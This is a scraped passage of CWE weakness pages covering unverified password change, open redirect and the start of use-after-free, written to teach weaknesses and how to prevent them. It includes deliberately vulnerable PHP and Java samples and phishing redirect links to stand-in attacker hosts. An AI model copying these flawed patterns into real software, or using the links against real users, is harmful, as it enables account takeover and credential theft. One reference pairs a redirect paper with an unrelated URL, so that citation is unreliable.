This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This overlaps insufficient comparison, verification errors, permissions, and privileges.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUnverified Ownership
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-620: Unverified Password Change

Weakness ID: 620
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication.
+ Extended Description
This could be used by an attacker to change passwords for another user, thus gaining the privileges associated with that user.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.255Credentials Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

+ Demonstrative Examples

Example 1

This code changes a user's password.

(bad code)
Example Language: PHP 
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
SetUserPassword($user, $pass);
}

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

+ Observed Examples
ReferenceDescription
Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions.
Web application password change utility doesn't check the original password.
+ Potential Mitigations

Phase: Architecture and Design

When prompting for a password change, force the user to provide the original password in addition to the new password.

Phase: Architecture and Design

Do not use "forgotten password" functionality. But if you must, ensure that you are only providing information to the actual user, e.g. by using an email address or challenge question that the legitimate user already provided in the past; do not allow the current user to change this identity information until the correct password has been provided.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.930OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.952SFP Secondary Cluster: Missing Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1028OWASP Top Ten 2017 Category A2 - Broken Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1353OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A3CWE More SpecificBroken Authentication and Session Management
Software Fault PatternsSFP31Missing authentication
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-12-28CWE Content TeamMITRE
updated Other_Notes, Weakness_Ordinalities
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships, Type
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-601: URL Redirection to Untrusted Site ('Open Redirect')

Weakness ID: 601
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.
+ Extended Description
An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance. Whether this issue poses a vulnerability will be subject to the intended behavior of the application. For example, a search engine might intentionally provide redirects to arbitrary URLs.
+ Alternate Terms
Open Redirect
Cross-site Redirect
Cross-domain Redirect
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.610Externally Controlled Reference to a Resource in Another Sphere
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.19Data Processing Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.610Externally Controlled Reference to a Resource in Another Sphere
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Background Details
Phishing is a general term for deceptive attempts to coerce private information from users that will be used for identity theft.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Web Based (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine. This will expose the user to extensive risk and the user's interaction with the web server may also be compromised if the malware conducts keylogging or other attacks that steal credentials, personally identifiable information (PII), or other important data.
Access Control
Confidentiality
Other

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity; Other

The user may be subjected to phishing attacks by being redirected to an untrusted page. The phishing attack may point to an attacker controlled web page that appears to be a trusted web site. The phishers may then steal the user's credentials and then use these credentials to access the legitimate web site.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

The following code obtains a URL from the query string and then redirects the user to that URL.

(bad code)
Example Language: PHP 
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

The problem with the above code is that an attacker could use this page as part of a phishing scam by redirecting users to a malicious site. For example, assume the above code is in the file example.php. An attacker could supply a user with the following link:

(attack code)
 
http://example.com/example.php?url=http://malicious.example.com

The user sees the link pointing to the original trusted site (example.com) and does not realize the redirection that could take place.

Example 2

The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address.

(bad code)
Example Language: Java 
public class RedirectServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String query = request.getQueryString();
if (query.contains("url")) {
String url = request.getParameter("url");
response.sendRedirect(url);
}
}
}

The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of an e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

(attack code)
Example Language: HTML 
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>

The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.

+ Observed Examples
ReferenceDescription
URL parameter loads the URL into a frame and causes it to appear to be part of a valid page.
An open redirect vulnerability in the search script in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL as a parameter to the proper function.
Open redirect vulnerability in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the proper parameter.
Chain: Go-based Oauth2 reverse proxy can send the authenticated user to another site at the end of the authentication flow. A redirect URL with HTML-encoded whitespace characters can bypass the validation (CWE-1289) to redirect to a malicious site (CWE-601)
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Use a list of approved URLs or domains to be used for redirection.

Phase: Architecture and Design

Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

Phase: Architecture and Design

Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).
Note: Note that this can be bypassed using XSS (CWE-79).

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.
+ Detection Methods

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness: High

Automated Dynamic Analysis

Automated black box tools that supply URLs to every input may be able to spot Location header modifications, but test case coverage is a factor, and custom redirects may not be detected.

Automated Static Analysis

Automated static analysis tools may not be able to determine whether input influences the beginning of a URL, which is important for reducing false positives.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.819OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8642011 Top 25 - Insecure Interaction Between Components
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.938OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1382ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
WASC38URl Redirector Abuse
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-483] Craig A. Shue, Andrew J. Kalafut and Minaxi Gupta. "Exploitable Redirects on the Web: Identification, Prevalence, and Defense". <https://www.cprogramming.com/tutorial/exceptions.html>. URL validated: 2023-04-07.
[REF-484] Russ McRee. "Open redirect vulnerabilities: definition and prevention". Page 43. Issue 17. (IN)SECURE. 2008-07. <http://www.net-security.org/dl/insecure/INSECURE-Mag-17.pdf>.
[REF-485] Jason Lam. "Top 25 Series - Rank 23 - Open Redirect". SANS Software Security Institute. 2010-03-25. <http://software-security.sans.org/blog/2010/03/25/top-25-series-rank-23-open-redirect>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Background_Details, Description, Detection_Factors, Likelihood_of_Exploit, Name, Relationships, Observed_Example, Taxonomy_Mappings
2008-10-03CWE Content TeamMITRE
updated References and Observed_Examples
2008-10-14CWE Content TeamMITRE
updated Alternate_Terms, Observed_Examples, References
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Name
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Detection_Factors, Potential_Mitigations, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Demonstrative_Examples
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated References, Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Relationships, Type
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Related_Attack_Patterns
2023-04-27CWE Content TeamMITRE
updated Description, Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Unsafe URL Redirection
2008-09-09URL Redirection to Untrusted Site
2009-05-27URL Redirection to Untrusted Site (aka 'Open Redirect')

CWE-416: Use After Free

Weakness ID: 416
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.
+ Extended Description

The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code, depending on the instantiation and timing of the flaw. The simplest way data corruption may occur involves the system's reuse of the freed memory. Use-after-free errors have two common and sometimes overlapping causes:

  • Error conditions and other exceptional circumstances.
  • Confusion over which part of the program is responsible for freeing the memory.

In this scenario, the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process.

If the newly allocated data happens to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.

+ Alternate Terms
Dangling pointer
Use-After-Free
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.825Expired Pointer Dereference
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.415Double Free
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.364Signal Handler Race Condition
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1265Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.123Write-what-where Condition
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.672Operation on a Resource after Expiration or Release
